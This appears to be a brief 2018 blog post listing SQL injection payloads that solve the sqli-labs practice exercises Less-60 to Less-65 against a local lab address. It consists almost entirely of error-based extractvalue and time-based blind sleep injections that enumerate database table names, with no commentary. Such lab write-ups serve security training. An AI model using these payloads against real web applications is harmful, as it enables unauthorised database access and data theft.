sqli-labs————Less-60-65

FLy_鵬程萬里發表於2018-05-22

Less-60

payload:

http://192.168.11.136/sqli-labs/Less-60?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+


Less-61

payload:

http://192.168.11.136/sqli-labs/Less-61?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+


Less-62

payload:

http://192.168.11.136/sqli-labs/Less-62?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

Less-63

payload:

http://192.168.11.136/sqli-labs/Less-63?id=1'and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+

Less-64

payload:

http://192.168.11.136/sqli-labs/Less-64?id=1))and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+

Less-65

payload:

http://192.168.11.136/sqli-labs/Less-65?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+


相關文章